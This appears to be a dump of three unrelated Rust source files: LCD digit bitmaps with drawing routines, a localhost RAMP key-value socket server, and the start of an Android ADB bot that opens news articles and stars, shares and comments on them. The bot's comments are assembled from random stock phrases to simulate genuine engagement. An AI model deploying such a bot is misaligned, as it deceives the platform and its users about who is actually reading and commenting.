0x07, 0xFF, 0xFF, 0xFF, 0xC0, 0x0F, 0xFF, 0xFF, 0xFF, 0xC0,
0x1F, 0xFF, 0xFF, 0xFF, 0xC0, 0x1F, 0xFF, 0xFF, 0xFF, 0xC0,
0x3F, 0xFF, 0xFF, 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0xFF, 0x80,
0x3F, 0xF0, 0x00, 0x00, 0x00, 0x3F, 0xE0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xE0, 0x00, 0x00, 0x00, 0x3F, 0xF0, 0x00, 0x00, 0x00,
0x3F, 0xFF, 0xFF, 0xFF, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xC0,
0x1F, 0xFF, 0xFF, 0xFF, 0xE0, 0x1F, 0xFF, 0xFF, 0xFF, 0xF0,
0x0F, 0xFF, 0xFF, 0xFF, 0xF8, 0x07, 0xFF, 0xFF, 0xFF, 0xF8,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0xFF, 0xFF, 0xFF, 0xFC,
0x00, 0x00, 0x00, 0x0F, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x0F, 0x80, 0x00, 0x03, 0xFC, 0x1F, 0x80, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x07, 0xFC, 0x3F, 0xC0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 6
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x80, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xC0, 0x0F, 0xFF, 0xFF, 0xFF, 0xC0,
0x1F, 0xFF, 0xFF, 0xFF, 0xC0, 0x1F, 0xFF, 0xFF, 0xFF, 0xC0,
0x3F, 0xFF, 0xFF, 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0xFF, 0x80,
0x3F, 0xF0, 0x00, 0x00, 0x00, 0x3F, 0xE0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xE0, 0x00, 0x00, 0x00, 0x3F, 0xF0, 0x00, 0x00, 0x00,
0x3F, 0xFF, 0xFF, 0xFF, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xC0,
0x3F, 0xFF, 0xFF, 0xFF, 0xE0, 0x3F, 0xFF, 0xFF, 0xFF, 0xF0,
0x3F, 0xFF, 0xFF, 0xFF, 0xF8, 0x3F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xF0, 0x00, 0x0F, 0xFC, 0x3F, 0xE0, 0x00, 0x07, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xE0, 0x00, 0x07, 0xFC, 0x3F, 0xF0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 7
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0xFF, 0xFF, 0xFF, 0xF8, 0x03, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x03, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x03, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x01, 0xFF, 0xFF, 0xFF, 0xFC,
0x00, 0x00, 0x00, 0x0F, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xF8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 8
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xF0, 0x00, 0x0F, 0xFC, 0x3F, 0xE0, 0x00, 0x07, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xE0, 0x00, 0x07, 0xFC, 0x3F, 0xF0, 0x00, 0x0F, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xF0, 0x00, 0x0F, 0xFC, 0x3F, 0xE0, 0x00, 0x07, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xE0, 0x00, 0x07, 0xFC, 0x3F, 0xF0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 9
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xF0, 0x00, 0x0F, 0xFC, 0x3F, 0xE0, 0x00, 0x07, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xE0, 0x00, 0x07, 0xFC, 0x3F, 0xF0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xFC, 0x1F, 0xFF, 0xFF, 0xFF, 0xFC,
0x0F, 0xFF, 0xFF, 0xFF, 0xFC, 0x07, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0xFF, 0xFF, 0xFF, 0xFC,
0x00, 0x00, 0x00, 0x0F, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x07, 0xFC, 0x00, 0x00, 0x00, 0x0F, 0xFC,
0x01, 0xFF, 0xFF, 0xFF, 0xFC, 0x03, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xF8, 0x03, 0xFF, 0xFF, 0xFF, 0xF8,
0x03, 0xFF, 0xFF, 0xFF, 0xF0, 0x03, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x01, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] }
];
pub const TIME_CHARACTER_WIDTH: u16 = 40;
pub const TIME_CHARACTER_HEIGHT: u16 = 64;
//==============================================================================
// Public Functions
//==============================================================================
#[allow(dead_code)]
fn get_minimal_character(c: char) -> &'static MinimalCharacter {
match c {
'A' => &MINIMAL_CHARACTER_LIST[0],
'B' => &MINIMAL_CHARACTER_LIST[1],
'C' => &MINIMAL_CHARACTER_LIST[2],
'D' => &MINIMAL_CHARACTER_LIST[3],
'E' => &MINIMAL_CHARACTER_LIST[4],
'F' => &MINIMAL_CHARACTER_LIST[5],
'G' => &MINIMAL_CHARACTER_LIST[6],
'H' => &MINIMAL_CHARACTER_LIST[7],
'I' => &MINIMAL_CHARACTER_LIST[8],
'J' => &MINIMAL_CHARACTER_LIST[9],
'K' => &MINIMAL_CHARACTER_LIST[10],
'L' => &MINIMAL_CHARACTER_LIST[11],
'M' => &MINIMAL_CHARACTER_LIST[12],
'N' => &MINIMAL_CHARACTER_LIST[13],
'O' => &MINIMAL_CHARACTER_LIST[14],
'P' => &MINIMAL_CHARACTER_LIST[15],
'Q' => &MINIMAL_CHARACTER_LIST[16],
'R' => &MINIMAL_CHARACTER_LIST[17],
'S' => &MINIMAL_CHARACTER_LIST[18],
'T' => &MINIMAL_CHARACTER_LIST[19],
'U' => &MINIMAL_CHARACTER_LIST[20],
'V' => &MINIMAL_CHARACTER_LIST[21],
'W' => &MINIMAL_CHARACTER_LIST[22],
'X' => &MINIMAL_CHARACTER_LIST[23],
'Y' => &MINIMAL_CHARACTER_LIST[24],
'Z' => &MINIMAL_CHARACTER_LIST[25],
'a' => &MINIMAL_CHARACTER_LIST[26],
'b' => &MINIMAL_CHARACTER_LIST[27],
'c' => &MINIMAL_CHARACTER_LIST[28],
'd' => &MINIMAL_CHARACTER_LIST[29],
'e' => &MINIMAL_CHARACTER_LIST[30],
'f' => &MINIMAL_CHARACTER_LIST[31],
'g' => &MINIMAL_CHARACTER_LIST[32],
'h' => &MINIMAL_CHARACTER_LIST[33],
'i' => &MINIMAL_CHARACTER_LIST[34],
'j' => &MINIMAL_CHARACTER_LIST[35],
'k' => &MINIMAL_CHARACTER_LIST[36],
'l' => &MINIMAL_CHARACTER_LIST[37],
'm' => &MINIMAL_CHARACTER_LIST[38],
'n' => &MINIMAL_CHARACTER_LIST[39],
'o' => &MINIMAL_CHARACTER_LIST[40],
'p' => &MINIMAL_CHARACTER_LIST[41],
'q' => &MINIMAL_CHARACTER_LIST[42],
'r' => &MINIMAL_CHARACTER_LIST[43],
's' => &MINIMAL_CHARACTER_LIST[44],
't' => &MINIMAL_CHARACTER_LIST[45],
'u' => &MINIMAL_CHARACTER_LIST[46],
'v' => &MINIMAL_CHARACTER_LIST[47],
'w' => &MINIMAL_CHARACTER_LIST[48],
'x' => &MINIMAL_CHARACTER_LIST[49],
'y' => &MINIMAL_CHARACTER_LIST[50],
'z' => &MINIMAL_CHARACTER_LIST[51],
'1' => &MINIMAL_CHARACTER_LIST[52],
'2' => &MINIMAL_CHARACTER_LIST[53],
'3' => &MINIMAL_CHARACTER_LIST[54],
'4' => &MINIMAL_CHARACTER_LIST[55],
'5' => &MINIMAL_CHARACTER_LIST[56],
'6' => &MINIMAL_CHARACTER_LIST[57],
'7' => &MINIMAL_CHARACTER_LIST[58],
'8' => &MINIMAL_CHARACTER_LIST[59],
'9' => &MINIMAL_CHARACTER_LIST[60],
'0' => &MINIMAL_CHARACTER_LIST[61],
'.' => &MINIMAL_CHARACTER_LIST[62],
',' => &MINIMAL_CHARACTER_LIST[63],
'?' => &MINIMAL_CHARACTER_LIST[64],
'!' => &MINIMAL_CHARACTER_LIST[65],
'*' => &MINIMAL_CHARACTER_LIST[66],
'-' => &MINIMAL_CHARACTER_LIST[67],
':' => &MINIMAL_CHARACTER_LIST[68],
'[' => &MINIMAL_CHARACTER_LIST[69],
']' => &MINIMAL_CHARACTER_LIST[70],
_ => &MinimalCharacter { bytes: [0x00; 5] }
}
}
#[allow(dead_code)]
pub fn write_minimal_line(line: &[u8], x_start: u16, y_start: u16, fg: lcd_api::Color, bg: lcd_api::Color, scale: u16) {
let char_width = (MINIMAL_CHARACTER_WIDTH * scale) + scale;
let max_chars = 240 / char_width as usize;
let len = if line.len() > max_chars { max_chars } else { line.len() };
for i in 0..len {
write_minimal_character(line[i], x_start + (i as u16 * char_width), y_start, fg, bg, scale);
}
}
#[allow(dead_code)]
pub fn write_minimal_character(c: u8, x: u16, y: u16, fg: lcd_api::Color, bg: lcd_api::Color, scale: u16) {
let char_width = MINIMAL_CHARACTER_WIDTH * scale;
let char_height = MINIMAL_CHARACTER_HEIGHT * scale;
lcd_api::set_window(x, char_width, y, char_height);
lcd::write_command(st7789::COMMAND::MEMORY_WRITE);
let bytes = get_minimal_character(c as char).bytes;
let bg = (bg as u16).to_le_bytes();
let fg = (fg as u16).to_le_bytes();
let mut bit_count: usize = 0;
let mut byte_count: usize = 0;
for _row in 0..8 {
let mut tmp_bit_count: usize = bit_count;
let mut tmp_byte_count: usize = byte_count;
for _row_scaler in 0..scale {
tmp_bit_count = bit_count;
tmp_byte_count = byte_count;
for _col in 0..5 {
let pixel_is_on: bool = (bytes[tmp_byte_count] & (0x80 >> tmp_bit_count)) > 0;
for _col_scaler in 0..scale {
if pixel_is_on {
lcd::write_data(&fg);
}
else {
lcd::write_data(&bg);
}
}
tmp_bit_count += 1;
if tmp_bit_count == 8 {
tmp_bit_count = 0;
tmp_byte_count += 1;
}
}
}
bit_count = tmp_bit_count;
byte_count = tmp_byte_count;
}
}
#[allow(dead_code)]
pub fn write_time_character(n: u8, x: u16, y: u16, fg: lcd_api::Color, bg: lcd_api::Color) {
let char_width = TIME_CHARACTER_WIDTH;
let char_height = TIME_CHARACTER_HEIGHT;
lcd_api::set_window(x, char_width, y, char_height);
lcd::write_command(st7789::COMMAND::MEMORY_WRITE);
let bytes = TIME_CHARACTER_LIST[(n % 10) as usize].bytes;
let bg = (bg as u16).to_le_bytes();
let fg = (fg as u16).to_le_bytes();
let num_bytes: usize = (char_width*char_height/8) as usize;
for byte in 0..num_bytes {
for bit in 0..8 {
if (bytes[byte] & (0x80 >> bit)) > 0 {
lcd::write_data(&fg);
}
else {
lcd::write_data(&bg);
}
}
}
}
//==============================================================================
// Private Functions
//==============================================================================
//==============================================================================
// Interrupt Handler
//==============================================================================
//==============================================================================
// Task Handler
//==============================================================================
|
#![feature(slice_concat_ext)]
extern crate ramp;
extern crate bufstream;
extern crate regex;
use std::sync::mpsc::channel;
use std::thread;
use std::sync::{RwLock, Arc};
use std::net::{TcpListener, TcpStream};
use std::io::{Read, BufRead, Write};
use regex::Regex;
use std::slice::SliceConcatExt;
#[macro_use]
extern crate log;
extern crate env_logger;
use bufstream::BufStream;
use ramp::Database;
type DB = Arc<RwLock<Database>>;
fn main() {
/*
Logger notes:
RUST_LOG=error ./main
RUST_LOG=info
http://rust-lang.github.io/log/env_logger/
*/
info!("Starting up RAMP socket server!");
let db = Arc::new(RwLock::new(Database::new()));
let listener = TcpListener::bind("127.0.0.1:6000").unwrap();
info!("Socket bound");
for stream in listener.incoming() {
// info!("connection established, spawning new thread");
let db2 = db.clone();
match stream {
Ok(stream) => {
thread::spawn(move || {
handle_client(stream, db2)
});
},
Err(e) => {}
}
}
info!("Goodbye forever.");
}
fn handle_client(mut stream: TcpStream, mut db: DB ) {
info!("Starting new client thread, creating regexes");
let prepare = Regex::new(r"prepare\s+([:alpha:]+)\s+([:alpha:]+)\s+(\d+)\s?([a-z,]*)").unwrap();
let commit = Regex::new(r"commit (\d+)").unwrap();
let get_version = Regex::new(r"get\s+([:alpha:]+)\s+(\d+)").unwrap();
let get_current = Regex::new(r"get\s+([:alpha:]+)").unwrap();
let mut buf = BufStream::new(stream.try_clone().unwrap());
let mut buffer = String::new();
for line in buf.lines() {
let l = line.unwrap();
println!("Line: {}", l);
if prepare.is_match(&l) {
println!("prepare statement");
let cap = prepare.captures(&l).unwrap();
let key = cap.at(1).unwrap();
let value = cap.at(2).unwrap();
let timestamp = cap.at(3).unwrap().parse::<i64>().unwrap();
println!("Key, value, timestamp, deps: {} : {} : {} : {}",
key, value, timestamp, cap.at(4).unwrap());
let deps : Vec<String> = cap.at(4).unwrap()
.split(",").map(|x| x.to_string())
.collect();
println!("depencencies: {:?}", deps );
{
let mut writer = (*db).write().unwrap();
writer.prepare(key.to_string(),
value.to_string(),
deps,
timestamp);
}
stream.write("PREPARED\n".as_bytes());
continue;
} else if commit.is_match(&l) {
let cap = commit.captures(&l).unwrap();
let timestamp = cap.at(1).unwrap().parse::<i64>().unwrap();
{
let mut writer = (*db).write().unwrap();
writer.commit(timestamp);
}
stream.write("COMMITTED\n".as_bytes());
continue;
} else if get_version.is_match(&l) {
let cap = get_version.captures(&l).unwrap();
let key = cap.at(1).unwrap().to_string();
let timestamp = cap.at(2).unwrap().parse::<i64>().unwrap();
println!("Get version");
{
let mut reader = (*db).read().unwrap();
match reader.get_version(key, timestamp) {
Some(version) => {
let d = version.dependencies.join(",");
let response = format!("{} {} {}\n",
version.value,
version.timestamp,
d);
stream.write(response.as_bytes());
},
None => {
stream.write("NOT FOUND\n".as_bytes());
}
};
}
continue;
} else if get_current.is_match(&l) {
println!("Get current");
let cap = get_current.captures(&l).unwrap();
let key = cap.at(1).unwrap().to_string();
// let key =
{
let mut reader = (*db).read().unwrap();
match reader.get(key) {
Some(version) => {
let d = version.dependencies.join(",");
let response = format!("{} {} {}\n",
version.value,
version.timestamp,
d);
stream.write(response.as_bytes());
},
None => {
stream.write("NOT FOUND\n".as_bytes());
}
};
}
continue
}
}
}
|
use super::android::{back, draw, get_ime, input, set_ime, sleep, swipe, tap, Xpath};
use super::config::Rules;
use rand::Rng;
use serde::Deserialize;
#[derive(Debug, Deserialize, Clone)]
struct Comment {
tags: Vec<String>,
content: Vec<String>,
}
fn get_comment(name: &str) -> String {
lazy_static! {
static ref COMMENTS: Vec<Comment> = {
let comments_str = include_str!("comments.json");
let comments: Vec<Comment> = serde_json::from_str(comments_str).unwrap();
comments
};
}
let comment = COMMENTS
.iter()
.find(|comment| comment.tags.iter().any(|tag| name.contains(tag)))
.unwrap_or(&COMMENTS[0]);
let mut rng = rand::thread_rng();
let mut _comment = String::with_capacity(8 * 4 * 50);
while _comment.chars().count() < 32 {
let i = rng.gen_range(0, comment.content.len());
_comment.push_str(&comment.content[i]);
}
return _comment;
}
pub struct Reader {
ime: String,
article_column_name: String,
article_count: u64,
article_delay: u64,
star_share_comment: u64,
keep_star_comment: bool,
rules: Rules,
}
impl std::ops::Deref for Reader {
type Target = Rules;
fn deref(&self) -> &Self::Target {
&self.rules
}
}
impl Drop for Reader {
fn drop(&mut self) {
set_ime(&self.ime);
}
}
impl Reader {
pub fn new(
article_column_name: String,
article_count: u64,
article_delay: u64,
star_share_comment: u64,
keep_star_comment: bool,
rules: Rules,
) -> Self {
let ime = get_ime().unwrap();
set_ime("com.android.adbkeyboard/.AdbIME");
Self {
ime,
article_column_name,
article_count,
article_delay,
star_share_comment,
keep_star_comment,
rules,
}
}
fn enter(&self) {
self.return_home();
for _ in 0..10 {
let texts = self.rule_columns_content.texts();
let positions = self.rule_columns_bounds.positions();
let (x0, y0) = positions[0];
let (x1, y1) = positions[positions.len() - 2];
for (name, (x, y)) in texts.iter().zip(positions) {
if self.article_column_name == *name {
tap(x, y);
return;
}
}
swipe(x1, y1, x0, y0, 500);
}
}
fn return_home(&self) {
let mut ptns = self.rule_bottom_work.positions();
while ptns.len() < 1 {
back();
ptns = self.rule_bottom_work.positions();
}
let (x, y) = ptns[0];
tap(x, y);
}
pub fn run(&self) {
println!("开始新闻学习");
self.enter();
let mut ssc = self.star_share_comment;
let mut i = 1;
let mut article_list = vec![];
while i < self.article_count {
let titles = self.rule_news_content.texts();
let positions = self.rule_news_bounds.positions();
for (title, (x, y)) in titles.iter().zip(positions) {
if article_list.contains(title) {
continue;
}
println!("新闻[{}]: {}", i, title);
tap(x, y);
let now = std::time::Instant::now();
article_list.push(title.clone());
sleep(self.article_delay / 3);
draw();
sleep(self.article_delay / 3);
draw();
sleep(self.article_delay / 3);
if ssc > 0 {
ssc -= self.star_share_comment(title);
}
back();
